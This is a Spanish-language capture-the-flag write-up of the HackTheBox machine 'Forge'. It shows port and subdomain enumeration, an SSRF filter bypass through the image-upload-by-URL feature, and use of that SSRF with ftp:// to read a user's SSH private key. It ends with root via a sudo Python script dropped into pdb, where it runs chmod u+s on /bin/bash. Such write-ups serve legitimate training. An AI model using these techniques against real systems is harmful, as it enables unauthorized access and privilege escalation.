Forge es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Forge 10.10.11.111 a /etc/hosts como forge.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Nmap 7.92 scan initiated Fri Dec 24 10:08:48 2021 as: nmap -sV -sC -Pn -oA enumeration/nmap 10.10.11.111 Nmap scan report for forge.htb (10.10.11.111) Host is up (0.044s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA) | 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA) |_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-title: Gallery |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Dec 24 10:08:59 2021 -- 1 IP address (1 host up) scanned in 11.12 seconds |
En este caso observamos un puerto 21 para el servicio ftp, para el cual no tenemos acceso, un puerto 22 para ssh para el cual no disponemos de credenciales y un puerto 80 con un portal web, que será nuestro punto de partida a continuación.
Enumeración
Como indicábamos vamos a comenzar por el portal web en el puerto 80 donde vemos la siguiente pantalla
Vemos una página simple con un enlace a una página de subida de imágenes
Hacemos una prueba de subir una reverse shell pero sin éxito así que vamos a seguir con el proceso de enumeración.
Buscamos por dos partes, en primer lugar enumeramos directorios con gobuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ gobuster dir -u http://forge.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://forge.htb/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/12/24 10:20:07 Starting gobuster in directory enumeration mode =============================================================== /uploads (Status: 301) [Size: 224] [--> http://forge.htb/uploads/] /static (Status: 301) [Size: 307] [--> http://forge.htb/static/] /upload (Status: 200) [Size: 929] =============================================================== 2021/12/24 10:18:04 Finished =============================================================== |
No vemos nada relevante, y debido a que gobuster saca demasiados falsos positivos, utilizaremos ffuf para enumerar subdominios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ ffuf -u http://forge.htb/ -w /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.forge.htb" -t 200 -fl 10 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://forge.htb/ :: Wordlist : FUZZ: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.forge.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response lines: 10 ________________________________________________ admin [Status: 200, Size: 27, Words: 4, Lines: 2] ADMIN [Status: 200, Size: 27, Words: 4, Lines: 2] :: Progress: [114532/114532] :: Job [1/1] :: 4187 req/sec :: Duration: [0:00:40] :: Errors: 0 :: |
Y descubrimos un subdominio nuevo que añadimos en nuestro fichero hosts, aunque acceder a través del navegador parece que no es la forma correcta
Viendo que no podemos hacer nada, tratamos de hacerlo a través de la sección de subida de imágenes por url pero devuelve errores con las direcciones locales o con admin.forge.htb
Así que hacemos algunas pruebas y conseguimos saltar la restricción colocando el nombre en mayúsculas
A través del navegador parece que no tenemos éxito ya que internamente intenta cargar una imagen, así que hacemos un curl a la url generada y obtenemos lo siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ curl http://forge.htb/uploads/ikYqVw2PPZCgeAPPDzab <!DOCTYPE html> <html> <head> <title>Admin Portal</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br><br> <br><br><br><br> <center><h1>Welcome Admins!</h1></center> </body> </html> |
Observamos una uri nueva /announcements así que vamos a repetir el proceso añadiendo esta uri
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ curl http://forge.htb/uploads/Mg4fSDQeQc6Vga0rk5mY <!DOCTYPE html> <html> <head> <title>Announcements</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <link rel="stylesheet" type="text/css" href="/static/css/announcements.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br> <ul> <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li> <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li> <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li> </ul> </body> </html> |
Esto ya va cogiendo forma, conseguimos las credenciales de ftp y también información de como acceder
1 2 |
The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url. The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>. |
Así que siguiendo la explicación accederemos al ftp a través de la subida por url con el siguiente formato
1 |
http://ADMIN.FORGE.HTB/upload?u=ftp://user:password@host |
Y conseguimos enumerar la home del usuario user
1 2 3 |
$ curl http://forge.htb/uploads/oQ2NN93hnnKaqM2XHCFx drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap -rw-r----- 1 0 1000 33 Dec 24 09:05 user.txt |
Tratamos de intentar obtener la clave ssh del usuario y vemos que la misma existe
1 2 3 4 |
$ curl http://forge.htb/uploads/64bdgrbSMYkSKNeDo6x6 -rw------- 1 1000 1000 564 May 31 2021 authorized_keys -rw------- 1 1000 1000 2590 May 20 2021 id_rsa -rw------- 1 1000 1000 564 May 20 2021 id_rsa.pub |
Así que haremos una última petición para obtenerla
1 2 3 4 5 6 7 8 |
$ curl http://forge.htb/uploads/rY1se4j4PDYke5B7SVNG -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3 ... ... shlLupso7WoS0AAAAKdXNlckBmb3JnZQE= -----END OPENSSH PRIVATE KEY----- |
Ahora que tenemos la clave, accedemos por ssh y estamos dentro de la máquina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ ssh -i user.pem user@forge.htb The authenticity of host 'forge.htb (10.10.11.111)' can't be established. ECDSA key fingerprint is SHA256:e/qp97tB7zm4r/sMgxwxPixH0d4YFnuB6uKn1GP5GTw. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'forge.htb,10.10.11.111' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 24 Dec 2021 09:52:01 AM UTC System load: 0.0 Processes: 226 Usage of /: 44.4% of 6.82GB Users logged in: 0 Memory usage: 32% IPv4 address for eth0: 10.10.11.111 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6 user@forge:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@forge:~$ |
Obteniendo la flag de user
Una vez dentro de la máquina sólo nos queda obtener la flag del usuario user
1 2 3 4 5 6 7 |
user@forge:~$ ls -l total 8 drwxr-xr-x 3 user user 4096 Aug 4 19:23 snap -rw-r----- 1 root user 33 Dec 24 09:05 user.txt user@forge:~$ cat user.txt fxxxxxxxxxxxxxxxxxxxxxxxxx0 user@forge:~$ |
Escalado de privilegios
Revisaremos en primer lugar los permisos que tiene el usuario
1 2 3 4 5 6 |
user@forge:~$ sudo -l Matching Defaults entries for user on forge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User user may run the following commands on forge: (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py |
Y observamos que tiene permisos para ejecutar como sudo el script /opt/remote-manage.py cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#!/usr/bin/env python3 import socket import random import subprocess import pdb port = random.randint(1025, 65535) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', port)) sock.listen(1) print(f'Listening on localhost:{port}') (clientsock, addr) = sock.accept() clientsock.send(b'Enter the secret passsword: ') if clientsock.recv(1024).strip().decode() != 'secretadminpassword': clientsock.send(b'Wrong password!\n') else: clientsock.send(b'Welcome admin!\n') while True: clientsock.send(b'\nWhat do you wanna do: \n') clientsock.send(b'[1] View processes\n') clientsock.send(b'[2] View free memory\n') clientsock.send(b'[3] View listening sockets\n') clientsock.send(b'[4] Quit\n') option = int(clientsock.recv(1024).strip()) if option == 1: clientsock.send(subprocess.getoutput('ps aux').encode()) elif option == 2: clientsock.send(subprocess.getoutput('df').encode()) elif option == 3: clientsock.send(subprocess.getoutput('ss -lnt').encode()) elif option == 4: clientsock.send(b'Bye\n') break except Exception as e: print(e) pdb.post_mortem(e.__traceback__) finally: quit() |
Si vemos el código y lo analizamos obtenemos un fallo en el mismo, en la línea
1 |
option = int(clientsock.recv(1024).strip()) |
Carga el valor introducido como un entero, pero no hay ninguna excepción que controle si realmente se ha introducido ese tipo de valor o no, así que vamos a tratar de explotarla de esa forma.
Ejecutamos en primer lugar el script
1 2 |
user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py Listening on localhost:5109 |
Y, en otra ventana, conectamos al puerto que abre con netcat
1 2 3 4 5 6 7 8 9 |
user@forge:~$ nc localhost 5109 Enter the secret passsword: secretadminpassword Welcome admin! What do you wanna do: [1] View processes [2] View free memory [3] View listening sockets [4] Quit |
Si llegados a este punto en lugar de introducir un valor entero introducimos por ejemplo el carácter ‘a’ devolverá un error y nos dará una terminal en python
1 2 3 4 5 6 |
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py Listening on localhost:13253 invalid literal for int() with base 10: b'a' > /opt/remote-manage.py(27)<module>() -> option = int(clientsock.recv(1024).strip()) (Pdb) |
En este caso, nosotros le damos permisos de suid al ejecutable de bash, aunque hay más formas de poder hacer esta explotación
1 2 3 4 |
(Pdb) import os (Pdb) os.system('chmod u+s /bin/bash') 0 (Pdb) exit |
Una vez hecho, cerramos y lanzamos bash para escalar a root
1 2 3 |
user@forge:~$ /bin/bash -p bash-5.0# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
Obteniendo la flag de root
Ahora que somos root, sólo nos queda obtener la flag
1 2 3 4 5 |
bash-5.0# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) bash-5.0# cat /root/root.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace